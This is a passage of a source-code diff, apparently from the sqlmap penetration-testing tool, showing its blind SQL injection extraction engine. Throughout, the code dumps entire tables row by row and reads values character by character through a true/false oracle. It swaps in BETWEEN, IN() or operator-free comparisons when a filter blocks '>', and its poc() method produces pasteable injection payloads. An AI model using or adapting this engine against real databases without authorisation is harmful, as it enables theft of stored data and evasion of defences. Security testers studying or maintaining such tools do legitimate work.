+                while len(rows) < limit:
+                    if prev is None:
+                        where = ""
+                    else:
+                        beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn)
+                        if beyond is None:           # no ordered comparator, no IN -> can't page
+                            break
+                        where = " WHERE %s" % beyond
+                    ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
+                    if unit == "int":
+                        key = self.extractInteger(ke)    # None = NULL (MIN over empty set) = no more rows
+                    else:
+                        res = self.extractResult(ke)     # never page on a partial/unverified key bound
+                        if res.is_null:                  # MIN over empty set -> genuinely done
+                            break
+                        if not res.complete:             # incomplete key can't be a reliable bound
+                            ok = False
+                            self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table)
+                            break
+                        key = res.value                  # '' is a VALID (single, unique) key row, not a terminator
+                    if key is None or key == prev:       # None = done; == prev = paging stuck (safety)
+                        break
+                    bound = key if unit == "int" else boundfn(key)
+                    row, valid = readrow("%s=%s" % (keyexpr, bound))
+                    if not valid:                    # a truncated/invalid cell != complete row
+                        ok = False
+                        break
+                    rows.append(row)
+                    self._emit(", ".join("NULL" if c is None else c for c in row))
+                    prev = key
+                    keys.append(key)                 # for order-free NOT IN() paging
+            else:                                    # value keyset (distinct rows only)
+                ok = False
+                # ACCURATE loss report: a framed page-key is the whole-row tuple, so only
+                # fully-identical rows collapse; a bare first-column page-key collapses every
+                # row that merely shares column 1 (much lossier) - say which, don't blur it
+                # also: MIN() never selects a NULL page-key, so rows with a NULL in the page
+                # column are unreachable by this walk - call that out too (not just collapse)
+                loss = "identical rows collapse" if framed else \
+                       "rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0]
+                self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss))
+                pageexpr = payload if framed else self.quoteIdent(cols[0])
+                # the framed page-key is text; a bare first-column page-key may be numeric,
+                # and a numeric column MUST be read via extractInteger + a numeric bound - a
+                # text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage
+                # bound ("id='   '") that matches no row (dump silently returns 0 entries)
+                pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable)
+                prev, seen = None, []
+                while len(rows) < limit:
+                    if prev is None:
+                        where = ""
+                    else:
+                        beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen)
+                        if beyond is None:           # no ordered comparator, no IN -> can't page
+                            break
+                        where = " WHERE %s" % beyond
+                    if framed:
+                        res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES)
+                        pv, valid = res.value, res.complete
+                        row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False)
+                        valid = valid and ok2
+                    elif pageunit == "int":          # numeric first column: read + bound as a number
+                        pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
+                        row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False)
+                    else:                            # page on the first (text) column, read cells under it
+                        kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where))
+                        if kr.is_null:               # MIN over empty set -> done
+                            break
+                        if not kr.complete:          # incomplete page bound -> can't page reliably, stop
+                            break
+                        pv = kr.value                # '' is a valid first-column value, not a terminator
+                        row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv)))
+                    if pv is None or pv == prev or not valid:
+                        break
+                    rows.append(row)
+                    self._emit(", ".join("NULL" if c is None else c for c in row))
+                    if isinstance(pv, str) and _REPL in pv:   # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL
+                        break
+                    prev = pv
+                    seen.append(pv)                  # for order-free NOT IN() paging
+        except (OracleUndecided, OverflowError):
+            # degrade, never crash: an undecided oracle (permission/charset wall) or a
+            # bogus key that overflows extractInteger stops the walk with partial rows
+            self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table)
+            ok = False
+        # TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly);
+        # `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can
+        # cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact
+        # primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it.
+        complete = ok and expected is not None and len(rows) == expected
+        exact = bool(self._byteFaithful())
+        # EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the
+        # discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN -
+        # using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is
+        # NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact.
+        effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
+        note = None
+        if rows and not exact:
+            note = ("dump %s: values recovered via a collation-dependent comparison "
+                    "(no byte-exact primitive) - case/accents may be inexact" % table)
+        elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows):
+            # bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII
+            # cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact
+            exact = False
+            note = ("dump %s: non-ASCII values decoded under an undetermined character set "
+                    "- text may be inexact" % table)
+        elif exact and self.dialect.textcast and not self._castPreservesAccents():
+            # bytes are faithful, but they are the output of a text cast NOT proven to preserve a
+            # canary accented char -> a narrowing cast may have folded unrepresentable chars to "?"
+            # at equal length (invisible to the length witness AND to a non-ASCII scan of the
+            # ALREADY-folded output) -> content is not provably source-exact
+            exact = False
+            note = ("dump %s: values extracted through a text cast not proven to preserve accented "
+                    "characters (possible lossy/narrowing cast) - content is not provably "
+                    "source-exact" % table)
+        if note:
+            self.dialect.notes.append(note)
+        return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by}
+
+    @staticmethod
+    def _hasNonAscii(rows):
+        return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row
+                   if isinstance(v, type(u"")))
+
+    def _castPreservesAccents(self):
+        # The framed dump routes every column through the discovered text cast. A NARROWING cast
+        # (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute ->
+        # "?") WITHOUT changing the character count, so neither the length witness nor the hex
+        # decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the
+        # cast preserves a canary accented char (built server-side from its code point, so no raw
+        # byte crosses the transport): if CAST(canary)=canary holds, representable accents survive;
+        # if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side
+        # equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached;
+        # conservative (False) when a cast is applied but the canary can't be built/decided.
+        if self._castPreserves is None:
+            if not self.dialect.textcast:
+                self._castPreserves = True                  # no cast applied -> nothing to fold
+            elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"):
+                # the cast targets the (Unicode) connection/DB charset, which represents EVERY code
+                # point -> no source char can fold. This is a PROOF (not a per-value guess): a
+                # utf-8/16 target cannot substitute an unrepresentable char.
+                self._castPreserves = True
+            else:
+                # an unproven cast must NOT certify source identity: default False, promote only on
+                # a successful preservation probe. The canary needs a TRUE-codepoint constructor - a
+                # byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it
+                # cannot probe a fold; without one the cast stays unproven (conservatively inexact).
+                self._castPreserves = False
+                cf = self._codeCharTmpl()
+                if cf and self.dialect.length:
+                    euro = cf.format(code=0x20AC)
+                    ch = cf.format(code=0xE9)               # "e"-acute
+                    try:
+                        with self._probePhase():
+                            if self._ask("(%s)=1" % self._len(euro)):   # constructor => one codepoint
+                                self._castPreserves = self._ask(
+                                    "(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch))
+                    except OracleUndecided:
+                        pass
+        return self._castPreserves
+
+    def poc(self, expr, position=1, gt=64):
+        """Emit a clean, pasteable boolean payload for ONE probe (the exploitation
+        primitive), so a tester can drop it into Burp without re-running discovery."""
+        one = self._sub(expr, position, 1)
+        if self.dialect.compare == "code" and self.dialect.charcode:
+            # numeric code comparison -> render through the DISCOVERED comparator, so the PoC
+            # works on the very target where '>' was blocked (BETWEEN / operator-free rung)
+            code = self.dialect.charcode[1].format(expr=one)
+            if self._comparator == "gt":
+                return "%s>%d" % (code, gt)
+            if self._comparator == "between":
+                return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62)
+            if self._cmpTemplate is not None:
+                return self._cmpTemplate.format(expr=code, n=gt)
+            raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form")
+        # hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was
+        # blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes
+        # -> refuse rather than emit a predicate the target already rejected.
+        if self._comparator != "gt":
+            raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare)
+        if self.dialect.compare == "hex" and self.dialect.hexfn:
+            return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt)
+        if self.dialect.compare == "collation" and self.dialect.binwrap:
+            w = self.dialect.binwrap[1]
+            return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt))))
+        if self.dialect.compare in ("equality", "equality-ci"):
+            # equality mode was chosen BECAUSE ordering isn't trustworthy - don't
+            # fabricate a `>` predicate the target's collation may not honour
+            raise RuntimeError("ordered PoC unavailable in equality-only compare mode")
+        return "%s>%s" % (one, self._lit(chr(gt)))
+
+    def strategy(self):
+        """Freeze the discovered dialect into an immutable InferenceStrategy - the
+        hand-off artifact for a host inference engine (see hostExtract). Ensures the
+        hex fn and quoting/backslash flags are resolved before freezing."""
+        d = self.dialect
+        if not self._discovered:
+            self.discover()
+        self._ensureHexfn()
+        self._lit("x")                               # resolve backslash-escape flag
+        return InferenceStrategy(
+            product=d.product or d.family, family=d.family, compare_mode=d.compare,
+            catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes),
+            substring=(d.substring[1] if d.substring else None),
+            index_base=(d.substring.get("index_base", 1) if d.substring else 1),
+            length=(d.length[1] if d.length else None),
+            charcode=(d.charcode[1] if d.charcode else None),
+            charcode_sem=(d.charcode.get("semantics") if d.charcode else None),
+            hexfn=(d.hexfn[1] if d.hexfn else None),
+            binwrap=(d.binwrap[1] if d.binwrap else None),
+            charfrom=(d.charfrom[1] if d.charfrom else None),
+            concat=(d.concat[1] if d.concat else None),
+            identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None),
+            backslash=bool(self._backslashEscape),
+            comparator=self._comparator, cmp_template=self._cmpTemplate,
+            # carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict
+            # (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is)
+            exact_witness=("hex" if d.hexfn is not None else
+                           "binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else
+                           "codepoint" if (d.compare == "code" and d.charcode is not None
+                                           and d.charcode.get("semantics") == "codepoint") else None))
+
+    def enumerateBulk(self, kind, maxchars=4096, encoding=None):
+        """One-shot full dump: aggregate the whole column into one delimited string
+        and extract it once. When a hex function exists each value is HEX-encoded
+        before aggregation, so the ',' delimiter is unambiguous (a comma can't occur
+        in a hex token) and any charset survives; otherwise raw values are joined
+        (comma-ambiguous, noted). Completeness is checked against an independent
+        COUNT(DISTINCT). Returns a BulkResult (list-like)."""
+        if kind not in self.dialect.catalogEnum:
+            return None
+        col, src, where = self._source(kind)
+        # independent COUNT FIRST - so a single empty-string row isn't mistaken for
+        # an empty catalog (the aggregate of one '' can look like no rows)
+        try:
+            expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where))
+        except OverflowError:                              # huge count -> unknown, not a failure
+            expected = None
+        if expected == 0:
+            return BulkResult([], expected=0, complete=True)
+        if not self._ensureHexfn() or not self.dialect.concat:   # bulk framing needs BOTH hex and concat
+            self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind)
+            return None
+        # frame each value as  V<hex>;  - 'V' distinguishes an empty string from a NULL
+        # aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet
+        # and the ',' separator) proves the token is WHOLE: a server-side aggregate output
+        # limit truncates the FINAL token, dropping its ';', so the truncated token is caught
+        # instead of a shorter-but-still-valid-hex value silently counting as one item.
+        encoding = encoding or (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
+        # frame each value as  V<charlen>:<hex>;  when a length fn exists: the ';' catches aggregate
+        # truncation (final token loses it) AND the independent <charlen> catches a capped/lossy HEX
+        # that shortened the VALUE (decoded chars != declared) - which the terminal marker alone
+        # (round 5) missed because a shortened even-length hex is still valid+terminated.
+        lenframed = bool(self.dialect.length and self.dialect.textcast)
+        if lenframed:
+            lenstr = self.dialect.textcast[1].format(expr=self._len(col))
+            aggcol = self._concatMany(["'V'", lenstr, "':'", self.dialect.hexfn[1].format(expr=col), "';'"])
+        else:
+            aggcol = self._concatMany(["'V'", self.dialect.hexfn[1].format(expr=col), "';'"])
+        if self.dialect.bulkAgg is None:
+            self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where)
+        if not self.dialect.bulkAgg:
+            return None
+        agg = self.dialect.bulkAgg[1].format(col=aggcol)
+        res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars)
+        joined = res.value
+        if joined is None:
+            return BulkResult([], expected=expected, complete=False)
+        tokens = joined.split(",")
+        if res.truncated and tokens:                       # last token may be partial
+            tokens = tokens[:-1]
+        names, seen, aggtruncated = [], set(), False
+        for t in tokens:
+            if not (t.startswith("V") and t.endswith(";")):   # missing terminal marker
+                aggtruncated = True                        # aggregate truncated this token -> drop, flag
+                continue
+            body = t[1:-1]                                 # strip 'V' prefix and ';' terminator
+            declared = None
+            if lenframed:
+                lenpart, sep, hexpart = body.partition(":")
+                if sep != ":" or not lenpart.isdigit():
+                    aggtruncated = True                    # malformed length prefix -> truncated token
+                    continue
+                declared, body = int(lenpart), hexpart
+            v = self._decodeHexToken(body, encoding)
+            if v is not None and (declared is None or len(v) == declared):   # independent length witness
+                if v not in seen:                          # dedupe (non-unique columns repeat)
+                    seen.add(v)
+                    names.append(v)
+            elif v is not None:                            # decoded but length mismatch -> a capped hex shortened it
+                aggtruncated = True
+        complete = (not res.truncated) and (not aggtruncated) and expected is not None and len(names) == expected
+        if aggtruncated:
+            self.dialect.notes.append("bulk %s: aggregate output truncated (token lost its terminal marker)" % kind)
+        elif expected is not None and len(names) != expected:
+            self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected))
+        return BulkResult(names, expected=expected, complete=complete)
+
+    def _discoverBulkAgg(self, col, src, where):
+        for name, tmpl in _BULK_AGG:
+            agg = tmpl.format(col=col)
+            if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)):
+                return Cap(name, tmpl)
+        return None

extra/esperanto/extraction.py

@@ -0,0 +1,830 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import binascii
+
+from .atlas import _FREQ_ORDER
+from .atlas import _hardWarnings
+from .atlas import _HEX_Q_ENCODINGS
+from .atlas import _HEXDIGITS
+from .atlas import _HEXFN
+from .atlas import _isSingleUnicodeScalar
+from .atlas import _MAX_HEX_CHAR_NIBBLES
+from .atlas import _native
+from .atlas import _PRINTABLE_SORTED
+from .atlas import _REPL
+from .atlas import _SIMILAR_META
+from .atlas import _UNICODE_MAX
+from .atlas import _unhexlify
+from .atlas import _unichr
+from .records import Cap
+from .records import ExtractResult
+from .records import NumericOutOfRange
+from .records import OracleUndecided
+
+
+class _Extraction(object):
+    """_Extraction
+
+    turn the discovered dialect into VALUES: length, char reading, literals, hex,
+    the public extract*/read* API, and the LIKE pattern-match floor."""
+
+    def _charExists(self, expr, pos):
+        # is there a real character at 1-based `pos`? derived from the substring's
+        # measured end behavior - the basis for length when no length fn exists.
+        one = self._sub(expr, pos, 1)
+        if self.dialect.substring.get("beyond_end") == "null-or-error":
+            return self._ask("%s IS NOT NULL" % one)
+        return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one)
+
+    def _measureLengthSub(self, expr, ceiling):
+        # length via substring: find the largest position that still holds a char.
+        # mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char
+        # exists at N+1), for backends with substring but no length fn.
+        if not self._charExists(expr, 1):
+            return (None if self._ask("(%s) IS NULL" % expr) else 0), False
+        if self._charExists(expr, ceiling + 1):
+            return ceiling, True
+        low, high = 1, min(8, ceiling)
+        while high < ceiling and self._charExists(expr, high + 1):
+            low = high + 1
+            high = min(high * 2, ceiling)
+        while low < high:
+            mid = (low + high) // 2
+            if self._charExists(expr, mid + 1):
+                low = mid + 1
+            else:
+                high = mid
+        return low, False
+
+    def _hasChars(self, expr):
+        # non-empty existence check that works with either a length fn or substring
+        if self.dialect.length is not None:
+            lexpr = self._len(expr)
+            return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr)
+        if self.dialect.substring is not None:
+            return self._charExists(expr, 1)
+        return False
+
+    def _lenEquals(self, expr, n):
+        # exact-length corroboration used in discovery, length-fn or substring-derived
+        if self.dialect.length is not None:
+            return self._ask("%s=%d" % (self._len(expr), n))
+        if self.dialect.substring is not None:
+            return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n
+        return False
+
+    def _measureLength(self, expr, ceiling=None):
+        """Return (length, truncated) - no shared per-call state, and a separate
+        `ceiling` so hex/byte pulls can be capped independently of maxlen."""
+        ceiling = self.maxlen if ceiling is None else ceiling
+        if self.dialect.length is None:
+            return self._measureLengthSub(expr, ceiling)
+        lexpr = self._len(expr)
+        if not self._numDefined(lexpr):
+            return None, False
+        if self._ask("%s=0" % lexpr):
+            return 0, False
+        if ceiling < 1:                     # non-empty value but capped to nothing (maxlen=0)
+            return 0, True
+        try:
+            n = self._readNum(lexpr, 1, ceiling)
+        except NumericOutOfRange:           # length exceeds the cap -> truncated, not a small value
+            return ceiling, True
+        return n, False                     # _readNum PROVED n<=ceiling (raises above), so exact-at-cap
+                                            # is COMPLETE, not truncated - overflow is the exception above
+
+    def valueLength(self, expr):
+        length, truncated = self._measureLength(expr)
+        self._lastTruncated = truncated
+        return length
+
+    def _literalVariants(self, value):
+        # spellings to try for exact char verification; SQL Server & others need an
+        # N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate
+        yield self._lit(value)
+        if any(ord(c) > 127 for c in value):
+            yield "N%s" % self._lit(value)
+
+    def _exactCharEquals(self, expr, value):
+        return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value))
+
+    def _lit(self, ch):
+        # double single quotes always; also double backslashes on engines that treat
+        # '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break
+        # the literal and silently corrupt the probe
+        if self._backslashEscape is None:
+            self._backslashEscape = (self.dialect.length is not None
+                                     and self._ask("%s=1" % self._len("'\\\\'")))
+        s = ch.replace("\\", "\\\\") if self._backslashEscape else ch
+        return _native("'%s'" % s.replace("'", "''"))
+
+    def _bisectCharset(self, greater):
+        # greater(c) -> is the source char strictly greater than charset char c?
+        cs = _PRINTABLE_SORTED
+        lo, hi = 0, len(cs) - 1
+        while lo < hi:
+            mid = (lo + hi) // 2
+            if greater(cs[mid]):
+                lo = mid + 1
+            else:
+                hi = mid
+        return cs[lo]
+
+    def _gtNum(self, expr, n, high):
+        # "is `expr` > n?" via the discovered comparator (high = current upper bound).
+        # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip.
+        if self._comparator == "between":
+            return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high))
+        if self._cmpTemplate is not None:       # any operator-free ordered rung (sign/abs/least/nullif/...)
+            return self._ask(self._cmpTemplate.format(expr=expr, n=n))
+        return self._ask("%s>%d" % (expr, n))
+
+    def _numDefined(self, expr):
+        # value is a defined (non-NULL) number - validity gate that needs no '>'
+        return self._ask("(%s) IS NOT NULL" % expr)
+
+    def _readNum(self, expr, lo, hi):
+        """Bounded numeric read in [lo, hi]. PROVES the value lies in range before
+        bisecting - a bounded search must never invent an in-range boundary ('>'
+        saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an
+        out-of-range value raises NumericOutOfRange for the caller to classify
+        (length -> truncated, integer -> overflow) instead of returning wrong data."""
+        if self._comparator == "membership":
+            if self._inOk:
+                window = 128
+                base = lo
+                while base <= hi:
+                    win = list(range(base, min(base + window, hi + 1)))
+                    if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))):
+                        while len(win) > 1:
+                            half = win[:len(win) // 2]
+                            if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))):
+                                win = half
+                            else:
+                                win = win[len(win) // 2:]
+                        return win[0]
+                    base += window
+                raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
+            for v in range(lo, hi + 1):             # no ordered op and no IN: '=' scan
+                if self._ask("%s=%d" % (expr, v)):
+                    return v
+            raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
+        # ordered comparators (gt / between / operator-free rung): prove range first
+        if self._comparator == "between":
+            if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)):
+                raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi))
+        else:                                       # gt or operator-free rung ('>' semantics)
+            if self._gtNum(expr, hi, hi):
+                raise NumericOutOfRange("%s > %d" % (expr, hi))
+            if not self._gtNum(expr, lo - 1, hi):   # expr <= lo-1 -> below range (any sign of lo)
+                raise NumericOutOfRange("%s < %d" % (expr, lo))
+        low, high = lo, min(max(lo, 8), hi)         # exponential climb keeps small values cheap
+        while high < hi and self._gtNum(expr, high, hi):
+            low, high = high + 1, min(high * 2, hi)
+        while low < high:
+            mid = (low + high) // 2
+            if self._gtNum(expr, mid, hi):
+                low = mid + 1
+            else:
+                high = mid
+        return low
+
+    def _bisectCodes(self, code, codes):
+        # ordered bisection over a sorted code list (restricted alphabet)
+        lo, hi = 0, len(codes) - 1
+        top = codes[hi]
+        while lo < hi:
+            mid = (lo + hi) // 2
+            if self._gtNum(code, codes[mid], top):
+                lo = mid + 1
+            else:
+                hi = mid
+        return codes[lo]
+
+    def _bisectCodeRange(self, code):
+        # general dynamic-range bisection - a real code-point fn can far exceed 255,
+        # so find the tight upper bound first, then bisect
+        high = _UNICODE_MAX
+        for cap in (127, 255, 0xFFFF, _UNICODE_MAX):
+            if not self._gtNum(code, cap, _UNICODE_MAX):
+                high = cap
+                break
+        low = 0
+        while low < high:
+            mid = (low + high) // 2
+            if self._gtNum(code, mid, high):
+                low = mid + 1
+            else:
+                high = mid
+        return low
+
+    def _pickCode(self, code, codes):
+        # order-free code selection when there's no ordered comparator: IN() subset
+        # bisection if available, else a plain '=' scan (last resort, no '<>' needed)
+        if self._inOk:
+            return self._membershipCode(code, codes)
+        for c in codes:
+            if self._ask("%s=%d" % (code, c)):
+                return c
+        return None
+
+    def _membershipCode(self, code, codes):
+        # ORDER-FREE subset bisection: split the candidate code list in half and test
+        # `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN
+        # and collation quirks. ~log2(n) probes. Returns the matched code, or None
+        # when the char is outside `codes` (caller escalates to hex / marks it).
+        if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))):
+            return None
+        cand = list(codes)
+        while len(cand) > 1:
+            half = cand[:len(cand) // 2]
+            if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))):
+                cand = half
+            else:
+                cand = cand[len(cand) // 2:]
+        return cand[0]
+
+    def _membershipLit(self, one, chars):
+        # order-free subset bisection over char LITERALS (no code fn, no ordering) -
+        # `chars` is frequency-ordered so the common half resolves first
+        if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))):
+            return None
+        cand = list(chars)
+        while len(cand) > 1:
+            half = cand[:len(cand) // 2]
+            if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))):
+                cand = half
+            else:
+                cand = cand[len(cand) // 2:]
+        return cand[0]
+
+    def _ensureHexfn(self):
+        # a hex fn may not have been discovered (code/collation mode won the ladder
+        # before hex was tried); probe for one on demand so escalation can recover
+        # bytes exactly. probes at most once.
+        if self.dialect.hexfn is None and not self._hexProbed:
+            self._hexProbed = True
+            with self._probePhase():        # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
+                for name, tmpl in _HEXFN:
+                    enc = self._hexEncoding(tmpl)
+                    if enc is not None:                     # '' = usable, codec unknown (auto-detect)
+                        self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
+                        break
+        return self.dialect.hexfn
+
+    def _hexEncoding(self, tmpl):
+        # if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 /
+        # utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form
+        # AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
+        hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1))     # 'q'
+        hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1))     # 'p'
+        cf = self._codeCharTmpl()
+        for form, enc in _HEX_Q_ENCODINGS:
+            if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))):
+                continue
+            # BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying
+            # itself). A LONG probe is required: a short sample passes any large-enough fixed cap,
+            # so an 8/64/255-byte-capped hex fn would slip through. No usable length measure ->
+            # do NOT certify whole-value hex output.
+            bpc = 2 if "16" in enc else 1
+            probe = "A" * 256
+            if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2):
+                continue
+            # PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in
+            # MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match
+            # alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is
+            # UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe
+            # passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a
+            # byte-based mode that mangles multibyte). None means only 'no working hex fn'.
+            if cf:
+                eur = tmpl.format(expr=cf.format(code=0x20AC))
+                want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc)
+                if want and self._ask("LOWER(%s)='%s'" % (eur, want)):
+                    return enc
+                return ""                  # ASCII-compatible, codec unproven: usable, auto-detect decode
+            return ""                      # no char-from-code fn to PROVE the codec: '71'->q is ASCII-
+                                           # compatible in many charsets (CP1252/Latin-1/SJIS/...), so it
+                                           # is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text
+        return None
+
+    def _escalate(self, one, pos):
+        # candidate did not verify -> char is outside the searched alphabet.
+        # recover its exact bytes via hex if available; otherwise mark it (never
+        # silently substitute a space/'~' or delete it)
+        if self._ensureHexfn():
+            ch = self._readHexChar(one)
+            if ch and ch != _REPL:
+                return ch
+        self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos)
+        return _REPL
+
+    def _readChar(self, expr, pos, codes=None):
+        one = self._sub(expr, pos, 1)
+        mode = self.dialect.compare
+
+        if mode == "code":
+            code = self.dialect.charcode[1].format(expr=one)
+            ordered = self._comparator != "membership"     # gt/between OR an operator-free rung (all bisect via _gtNum)
+            if codes is not None:
+                # restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII
+                # set. no per-char verify - ASCII codes are unambiguous across charcode
+                # semantics and extractResult whole-value verifies.
+                low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes)
+                return _unichr(low) if low is not None else self._escalate(one, pos)
+            if ordered:
+                low = self._bisectCodeRange(code)
+            else:
+                # no ordered operator: order-free IN() over the printable set (or a '='
+                # scan if IN is gone too); anything outside it escalates to hex / marks
+                low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED])
+                if low is None:
+                    return self._escalate(one, pos)
+            if 0xD800 <= low <= 0xDFFF:
+                # a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation)
+                # can return an isolated surrogate - not a scalar; recover via bytes
+                return self._escalate(one, pos)
+            try:
+                ch = _unichr(low)            # low==0 is a valid NUL char, not "empty"
+            except ValueError:
+                return self._escalate(one, pos)
+            # a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even
+            # '?' (63) for an unrepresentable char - the old low>127-only check
+            # silently accepted the last as a literal '?'. only a *proven* code-point
+            # fn is trusted outright; everything else must round-trip-verify.
+            if self.dialect.charcode.get("semantics") != "codepoint" and \
+               not self._exactCharEquals(one, ch):
+                return self._escalate(one, pos)
+            return ch
+
+        if mode == "hex":
+            if self.dialect.hexfn is None:
+                return self._escalate(one, pos)
+            return self._readHexChar(one)
+
+        if mode == "collation":
+            if self.dialect.binwrap is None:
+                return self._escalate(one, pos)
+            w = self.dialect.binwrap[1]
+            cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c)))))
+            if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))):
+                return cand
+            return self._escalate(one, pos)
+
+        if mode == "ordinal":
+            cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c))))
+            if self._ask("%s=%s" % (one, self._lit(cand))):
+                return cand
+            return self._escalate(one, pos)
+
+        # equality / equality-ci: order-free IN() subset bisection (frequency-ordered,
+        # ~log2(n) probes) when IN is usable, else the linear frequency scan
+        if self._inOk:
+            ch = self._membershipLit(one, _FREQ_ORDER)
+            return ch if ch is not None else self._escalate(one, pos)
+        for ch in _FREQ_ORDER:
+            if self._ask("%s=%s" % (one, self._lit(ch))):
+                return ch
+        return self._escalate(one, pos)
+
+    def _readHexChar(self, one):
